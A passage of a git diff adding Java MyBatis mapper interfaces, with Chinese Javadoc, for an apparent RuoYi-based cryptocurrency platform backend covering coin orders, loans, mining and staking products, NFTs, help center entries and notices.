deleteTCurrencyOrderById(Long id); + + /** + * 批量删除币币交易订单 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTCurrencyOrderByIds(Long[] ids); + + List selectOrderList(TCurrencyOrder tCurrencyOrder); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencySymbolMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencySymbolMapper.java new file mode 100644 index 0000000..6f3654c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencySymbolMapper.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TCurrencySymbol; + +/** + * 币币交易币种配置Mapper接口 + * + * @author ruoyi + * @date 2023-07-25 + */ +public interface TCurrencySymbolMapper extends BaseMapper +{ + /** + * 查询币币交易币种配置 + * + * @param id 币币交易币种配置主键 + * @return 币币交易币种配置 + */ + public TCurrencySymbol selectTCurrencySymbolById(Long id); + + /** + * 查询币币交易币种配置列表 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 币币交易币种配置集合 + */ + public List selectTCurrencySymbolList(TCurrencySymbol tCurrencySymbol); + + /** + * 新增币币交易币种配置 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 结果 + */ + public int insertTCurrencySymbol(TCurrencySymbol tCurrencySymbol); + + /** + * 修改币币交易币种配置 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 结果 + */ + public int updateTCurrencySymbol(TCurrencySymbol tCurrencySymbol); + + /** + * 删除币币交易币种配置 + * + * @param id 币币交易币种配置主键 + * @return 结果 + */ + public int deleteTCurrencySymbolById(Long id); + + /** + * 批量删除币币交易币种配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTCurrencySymbolByIds(Long[] ids); + + TCurrencySymbol selectInfo(TCurrencySymbol tCurrencySymbol); + + TCurrencySymbol selectByCoin(String symbol); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TExchangeCoinRecordMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TExchangeCoinRecordMapper.java new file mode 100644 index 0000000..ebe64b7 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TExchangeCoinRecordMapper.java @@ -0,0 +1,66 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TExchangeCoinRecord; + +/** + * 币种兑换记录Mapper接口 + * + * @author ruoyi + * @date 2023-07-07 + */ +public interface TExchangeCoinRecordMapper extends BaseMapper +{ + /** + * 查询币种兑换记录 + * + * @param id 币种兑换记录主键 + * @return 币种兑换记录 + */ + public TExchangeCoinRecord selectTExchangeCoinRecordById(Long id); + + /** + * 查询币种兑换记录列表 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 币种兑换记录集合 + */ + public List selectTExchangeCoinRecordList(TExchangeCoinRecord tExchangeCoinRecord); + + /** + * 新增币种兑换记录 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 结果 + */ + public int insertTExchangeCoinRecord(TExchangeCoinRecord tExchangeCoinRecord); + + /** + * 修改币种兑换记录 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 结果 + */ + public int updateTExchangeCoinRecord(TExchangeCoinRecord tExchangeCoinRecord); + + /** + * 删除币种兑换记录 + * + * @param id 币种兑换记录主键 + * @return 结果 + */ + public int deleteTExchangeCoinRecordById(Long id); + + /** + * 批量删除币种兑换记录 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTExchangeCoinRecordByIds(Long[] ids); + + Integer countByExchangeCoinRecord(TExchangeCoinRecord exchangeCoinRecord); + + List getListByLimit(int size); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterInfoMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterInfoMapper.java new file mode 100644 index 0000000..080bcb4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterInfoMapper.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.mapper; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.THelpCenterInfo; + +import java.util.List; + +/** + * 帮助中心问题详情Mapper接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface THelpCenterInfoMapper extends BaseMapper +{ + /** + * 查询帮助中心问题详情 + * + * @param id 帮助中心问题详情主键 + * @return 帮助中心问题详情 + */ + public THelpCenterInfo selectTHelpCenterInfoById(Long id); + + /** + * 查询帮助中心问题详情列表 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 帮助中心问题详情集合 + */ + public List selectTHelpCenterInfoList(THelpCenterInfo tHelpCenterInfo); + + /** + * 新增帮助中心问题详情 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 结果 + */ + public int insertTHelpCenterInfo(THelpCenterInfo tHelpCenterInfo); + + /** + * 修改帮助中心问题详情 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 结果 + */ + public int updateTHelpCenterInfo(THelpCenterInfo tHelpCenterInfo); + + /** + * 删除帮助中心问题详情 + * + * @param id 帮助中心问题详情主键 + * @return 结果 + */ + public int deleteTHelpCenterInfoById(Long id); + + /** + * 批量删除帮助中心问题详情 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTHelpCenterInfoByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterMapper.java new file mode 100644 index 0000000..68f6247 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterMapper.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.mapper; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.THelpCenter; + +import java.util.List; + +/** + * 帮助中心Mapper接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface THelpCenterMapper extends BaseMapper +{ + /** + * 查询帮助中心 + * + * @param id 帮助中心主键 + * @return 帮助中心 + */ + public THelpCenter selectTHelpCenterById(Long id); + + /** + * 查询帮助中心列表 + * + * @param tHelpCenter 帮助中心 + * @return 帮助中心集合 + */ + public List selectTHelpCenterList(THelpCenter tHelpCenter); + + /** + * 新增帮助中心 + * + * @param tHelpCenter 帮助中心 + * @return 结果 + */ + public int insertTHelpCenter(THelpCenter tHelpCenter); + + /** + * 修改帮助中心 + * + * @param tHelpCenter 帮助中心 + * @return 结果 + */ + public int updateTHelpCenter(THelpCenter tHelpCenter); + + /** + * 删除帮助中心 + * + * @param id 帮助中心主键 + * @return 结果 + */ + public int deleteTHelpCenterById(Long id); + + /** + * 批量删除帮助中心 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTHelpCenterByIds(Long[] ids); + + List getCenterList(THelpCenter tHelpCenter); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THomeSetterMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THomeSetterMapper.java new file mode 100644 index 0000000..2ddf387 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THomeSetterMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.THomeSetter; + +/** + * 规则说明Mapper接口 + * + * @author ruoyi + * @date 2023-07-19 + */ +public interface THomeSetterMapper extends BaseMapper +{ + /** + * 查询规则说明 + * + * @param id 规则说明主键 + * @return 规则说明 + */ + public THomeSetter selectTHomeSetterById(Long id); + + /** + * 查询规则说明列表 + * + * @param tHomeSetter 规则说明 + * @return 规则说明集合 + */ + public List selectTHomeSetterList(THomeSetter tHomeSetter); + + /** + * 新增规则说明 + * + * @param tHomeSetter 规则说明 + * @return 结果 + */ + public int insertTHomeSetter(THomeSetter tHomeSetter); + + /** + * 修改规则说明 + * + * @param tHomeSetter 规则说明 + * @return 结果 + */ + public int updateTHomeSetter(THomeSetter tHomeSetter); + + /** + * 删除规则说明 + * + * @param id 规则说明主键 + * @return 结果 + */ + public int deleteTHomeSetterById(Long id); + + /** + * 批量删除规则说明 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTHomeSetterByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadOrderMapper.java new file mode 100644 index 0000000..7de08c4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadOrderMapper.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TLoadOrder; + +/** + * 贷款订单Mapper接口 + * + * @author ruoyi + * @date 2023-07-14 + */ +public interface TLoadOrderMapper extends BaseMapper +{ + /** + * 查询贷款订单 + * + * @param id 贷款订单主键 + * @return 贷款订单 + */ + public TLoadOrder selectTLoadOrderById(Long id); + + /** + * 查询贷款订单列表 + * + * @param tLoadOrder 贷款订单 + * @return 贷款订单集合 + */ + public List selectTLoadOrderList(TLoadOrder tLoadOrder); + + /** + * 新增贷款订单 + * + * @param tLoadOrder 贷款订单 + * @return 结果 + */ + public int insertTLoadOrder(TLoadOrder tLoadOrder); + + /** + * 修改贷款订单 + * + * @param tLoadOrder 贷款订单 + * @return 结果 + */ + public int updateTLoadOrder(TLoadOrder tLoadOrder); + + /** + * 删除贷款订单 + * + * @param id 贷款订单主键 + * @return 结果 + */ + public int deleteTLoadOrderById(Long id); + + /** + * 批量删除贷款订单 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTLoadOrderByIds(Long[] ids); + + List selectListByUserId(TLoadOrder serch); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadProductMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadProductMapper.java new file mode 100644 index 0000000..fb4ef1a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadProductMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TLoadProduct; + +/** + * 借贷产品Mapper接口 + * + * @author ruoyi + * @date 2023-07-13 + */ +public interface TLoadProductMapper extends BaseMapper +{ + /** + * 查询借贷产品 + * + * @param id 借贷产品主键 + * @return 借贷产品 + */ + public TLoadProduct selectTLoadProductById(Long id); + + /** + * 查询借贷产品列表 + * + * @param tLoadProduct 借贷产品 + * @return 借贷产品集合 + */ + public List selectTLoadProductList(TLoadProduct tLoadProduct); + + /** + * 新增借贷产品 + * + * @param tLoadProduct 借贷产品 + * @return 结果 + */ + public int insertTLoadProduct(TLoadProduct tLoadProduct); + + /** + * 修改借贷产品 + * + * @param tLoadProduct 借贷产品 + * @return 结果 + */ + public int updateTLoadProduct(TLoadProduct tLoadProduct); + + /** + * 删除借贷产品 + * + * @param id 借贷产品主键 + * @return 结果 + */ + public int deleteTLoadProductById(Long id); + + /** + * 批量删除借贷产品 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTLoadProductByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMarketsMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMarketsMapper.java new file mode 100644 index 0000000..a90299a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMarketsMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; + +import java.util.List; +import com.ruoyi.bussiness.domain.TMarkets; + +/** + * 支持交易所Mapper接口 + * + * @author ruoyi + * @date 2023-06-26 + */ +public interface TMarketsMapper +{ + /** + * 查询支持交易所 + * + * @param slug 支持交易所主键 + * @return 支持交易所 + */ + public TMarkets selectTMarketsBySlug(String slug); + + /** + * 查询支持交易所列表 + * + * @param tMarkets 支持交易所 + * @return 支持交易所集合 + */ + public List selectTMarketsList(TMarkets tMarkets); + + /** + * 新增支持交易所 + * + * @param tMarkets 支持交易所 + * @return 结果 + */ + public int insertTMarkets(TMarkets tMarkets); + + /** + * 修改支持交易所 + * + * @param tMarkets 支持交易所 + * @return 结果 + */ + public int updateTMarkets(TMarkets tMarkets); + + /** + * 删除支持交易所 + * + * @param slug 支持交易所主键 + * @return 结果 + */ + public int deleteTMarketsBySlug(String slug); + + /** + * 批量删除支持交易所 + * + * @param slugs 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMarketsBySlugs(String[] slugs); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineFinancialMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineFinancialMapper.java new file mode 100644 index 0000000..d7d2bb0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineFinancialMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TMineFinancial; + +/** + * 【请填写功能名称】Mapper接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface TMineFinancialMapper extends BaseMapper +{ + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineFinancial selectTMineFinancialById(Long id); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineFinancialList(TMineFinancial tMineFinancial); + + /** + * 新增【请填写功能名称】 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineFinancial(TMineFinancial tMineFinancial); + + /** + * 修改【请填写功能名称】 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineFinancial(TMineFinancial tMineFinancial); + + /** + * 删除【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineFinancialById(Long id); + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMineFinancialByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderDayMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderDayMapper.java new file mode 100644 index 0000000..e07a691 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderDayMapper.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TMineOrderDay; + +import java.math.BigDecimal; +import java.util.List; + +/** + * 【请填写功能名称】Mapper接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface TMineOrderDayMapper extends BaseMapper +{ + /** + * 查询【请填写功能名称】 + * + * @param amount 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineOrderDay selectTMineOrderDayByAmount(BigDecimal amount); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineOrderDayList(TMineOrderDay tMineOrderDay); + + /** + * 新增【请填写功能名称】 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineOrderDay(TMineOrderDay tMineOrderDay); + + /** + * 修改【请填写功能名称】 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineOrderDay(TMineOrderDay tMineOrderDay); + + /** + * 删除【请填写功能名称】 + * + * @param amount 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineOrderDayByAmount(BigDecimal amount); + + /** + * 批量删除【请填写功能名称】 + * + * @param amounts 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMineOrderDayByAmounts(BigDecimal[] amounts); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderMapper.java new file mode 100644 index 0000000..4bd45a7 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TMineOrder; + +import java.util.List; + +/** + * 【请填写功能名称】Mapper接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface TMineOrderMapper extends BaseMapper +{ + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineOrder selectTMineOrderById(Long id); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineOrder 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineOrderList(TMineOrder tMineOrder); + + /** + * 新增【请填写功能名称】 + * + * @param tMineOrder 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineOrder(TMineOrder tMineOrder); + + /** + * 修改【请填写功能名称】 + * + * @param tMineOrder 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineOrder(TMineOrder tMineOrder); + + /** + * 删除【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineOrderById(Long id); + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMineOrderByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineUserMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineUserMapper.java new file mode 100644 index 0000000..00e9306 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineUserMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TMineUser; + +/** + * 【请填写功能名称】Mapper接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface TMineUserMapper extends BaseMapper +{ + /** + * 查询【请填写功能名称】 + * + * @param userId 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineUser selectTMineUserByUserId(Long userId); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineUser 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineUserList(TMineUser tMineUser); + + /** + * 新增【请填写功能名称】 + * + * @param tMineUser 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineUser(TMineUser tMineUser); + + /** + * 修改【请填写功能名称】 + * + * @param tMineUser 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineUser(TMineUser tMineUser); + + /** + * 删除【请填写功能名称】 + * + * @param userId 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineUserByUserId(Long userId); + + /** + * 批量删除【请填写功能名称】 + * + * @param userIds 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMineUserByUserIds(Long[] userIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingOrderMapper.java new file mode 100644 index 0000000..e4eae24 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingOrderMapper.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TMingOrder; + +/** + * mingMapper接口 + * + * @author ruoyi + * @date 2023-08-18 + */ +public interface TMingOrderMapper extends BaseMapper +{ + /** + * 查询ming + * + * @param id ming主键 + * @return ming + */ + public TMingOrder selectTMingOrderById(Long id); + + /** + * 查询ming列表 + * + * @param tMingOrder ming + * @return ming集合 + */ + public List selectTMingOrderList(TMingOrder tMingOrder); + + /** + * 新增ming + * + * @param tMingOrder ming + * @return 结果 + */ + public int insertTMingOrder(TMingOrder tMingOrder); + + /** + * 修改ming + * + * @param tMingOrder ming + * @return 结果 + */ + public int updateTMingOrder(TMingOrder tMingOrder); + + /** + * 删除ming + * + * @param id ming主键 + * @return 结果 + */ + public int deleteTMingOrderById(Long id); + + /** + * 批量删除ming + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMingOrderByIds(Long[] ids); + + Map selectMingOrderSumList(Map map); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductMapper.java new file mode 100644 index 0000000..fee7ba5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TMingProduct; + +/** + * mingProductMapper接口 + * + * @author ruoyi + * @date 2023-08-18 + */ +public interface TMingProductMapper extends BaseMapper +{ + /** + * 查询mingProduct + * + * @param id mingProduct主键 + * @return mingProduct + */ + public TMingProduct selectTMingProductById(Long id); + + /** + * 查询mingProduct列表 + * + * @param tMingProduct mingProduct + * @return mingProduct集合 + */ + public List selectTMingProductList(TMingProduct tMingProduct); + + /** + * 新增mingProduct + * + * @param tMingProduct mingProduct + * @return 结果 + */ + public int insertTMingProduct(TMingProduct tMingProduct); + + /** + * 修改mingProduct + * + * @param tMingProduct mingProduct + * @return 结果 + */ + public int updateTMingProduct(TMingProduct tMingProduct); + + /** + * 删除mingProduct + * + * @param id mingProduct主键 + * @return 结果 + */ + public int deleteTMingProductById(Long id); + + /** + * 批量删除mingProduct + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMingProductByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductUserMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductUserMapper.java new file mode 100644 index 0000000..4eded6d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductUserMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TMingProductUser; + +/** + * 用户购买质押限制Mapper接口 + * + * @author ruoyi + * @date 2023-10-11 + */ +public interface TMingProductUserMapper extends BaseMapper +{ + /** + * 查询用户购买质押限制 + * + * @param id 用户购买质押限制主键 + * @return 用户购买质押限制 + */ + public TMingProductUser selectTMingProductUserById(Long id); + + /** + * 查询用户购买质押限制列表 + * + * @param tMingProductUser 用户购买质押限制 + * @return 用户购买质押限制集合 + */ + public List selectTMingProductUserList(TMingProductUser tMingProductUser); + + /** + * 新增用户购买质押限制 + * + * @param tMingProductUser 用户购买质押限制 + * @return 结果 + */ + public int insertTMingProductUser(TMingProductUser tMingProductUser); + + /** + * 修改用户购买质押限制 + * + * @param tMingProductUser 用户购买质押限制 + * @return 结果 + */ + public int updateTMingProductUser(TMingProductUser tMingProductUser); + + /** + * 删除用户购买质押限制 + * + * @param id 用户购买质押限制主键 + * @return 结果 + */ + public int deleteTMingProductUserById(Long id); + + /** + * 批量删除用户购买质押限制 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTMingProductUserByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftOrderMapper.java new file mode 100644 index 0000000..c476405 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftOrderMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TNftOrder; + +/** + * nft订单Mapper接口 + * + * @author ruoyi + * @date 2023-09-01 + */ +public interface TNftOrderMapper extends BaseMapper +{ + /** + * 查询nft订单 + * + * @param id nft订单主键 + * @return nft订单 + */ + public TNftOrder selectTNftOrderById(Long id); + + /** + * 查询nft订单列表 + * + * @param tNftOrder nft订单 + * @return nft订单集合 + */ + public List selectTNftOrderList(TNftOrder tNftOrder); + + /** + * 新增nft订单 + * + * @param tNftOrder nft订单 + * @return 结果 + */ + public int insertTNftOrder(TNftOrder tNftOrder); + + /** + * 修改nft订单 + * + * @param tNftOrder nft订单 + * @return 结果 + */ + public int updateTNftOrder(TNftOrder tNftOrder); + + /** + * 删除nft订单 + * + * @param id nft订单主键 + * @return 结果 + */ + public int deleteTNftOrderById(Long id); + + /** + * 批量删除nft订单 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTNftOrderByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftProductMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftProductMapper.java new file mode 100644 index 0000000..0d08ef6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftProductMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TNftProduct; + +/** + * nft详情Mapper接口 + * + * @author ruoyi + * @date 2023-09-01 + */ +public interface TNftProductMapper extends BaseMapper +{ + /** + * 查询nft详情 + * + * @param id nft详情主键 + * @return nft详情 + */ + public TNftProduct selectTNftProductById(Long id); + + /** + * 查询nft详情列表 + * + * @param tNftProduct nft详情 + * @return nft详情集合 + */ + public List selectTNftProductList(TNftProduct tNftProduct); + + /** + * 新增nft详情 + * + * @param tNftProduct nft详情 + * @return 结果 + */ + public int insertTNftProduct(TNftProduct tNftProduct); + + /** + * 修改nft详情 + * + * @param tNftProduct nft详情 + * @return 结果 + */ + public int updateTNftProduct(TNftProduct tNftProduct); + + /** + * 删除nft详情 + * + * @param id nft详情主键 + * @return 结果 + */ + public int deleteTNftProductById(Long id); + + /** + * 批量删除nft详情 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTNftProductByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftSeriesMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftSeriesMapper.java new file mode 100644 index 0000000..4be16a5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftSeriesMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TNftSeries; + +/** + * nft合计Mapper接口 + * + * @author ruoyi + * @date 2023-09-01 + */ +public interface TNftSeriesMapper extends BaseMapper +{ + /** + * 查询nft合计 + * + * @param id nft合计主键 + * @return nft合计 + */ + public TNftSeries selectTNftSeriesById(Long id); + + /** + * 查询nft合计列表 + * + * @param tNftSeries nft合计 + * @return nft合计集合 + */ + public List selectTNftSeriesList(TNftSeries tNftSeries); + + /** + * 新增nft合计 + * + * @param tNftSeries nft合计 + * @return 结果 + */ + public int insertTNftSeries(TNftSeries tNftSeries); + + /** + * 修改nft合计 + * + * @param tNftSeries nft合计 + * @return 结果 + */ + public int updateTNftSeries(TNftSeries tNftSeries); + + /** + * 删除nft合计 + * + * @param id nft合计主键 + * @return 结果 + */ + public int deleteTNftSeriesById(Long id); + + /** + * 批量删除nft合计 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTNftSeriesByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNoticeMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNoticeMapper.java new file mode 100644 index 0000000..b6d6c39 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNoticeMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TNotice; + +/** + * 通知公告Mapper接口 + * + * @author ruoyi + * @date 2023-07-20 + */ +public interface TNoticeMapper extends BaseMapper +{ + /** + * 查询通知公告 + * + * @param noticeId 通知公告主键 + * @return 通知公告 + */ + public TNotice selectTNoticeByNoticeId(Long noticeId); + + /** + * 查询通知公告列表 + * + * @param tNotice 通知公告 + * @return 通知公告集合 + */ + public List selectTNoticeList(TNotice tNotice); + + /** + * 新增通知公告 + * + * @param tNotice 通知公告 + * @return 结果 + */ + public int insertTNotice(TNotice tNotice); + + /** + * 修改通知公告 + * + * @param tNotice 通知公告 + * @return 结果 + */ + public int updateTNotice(TNotice tNotice); + 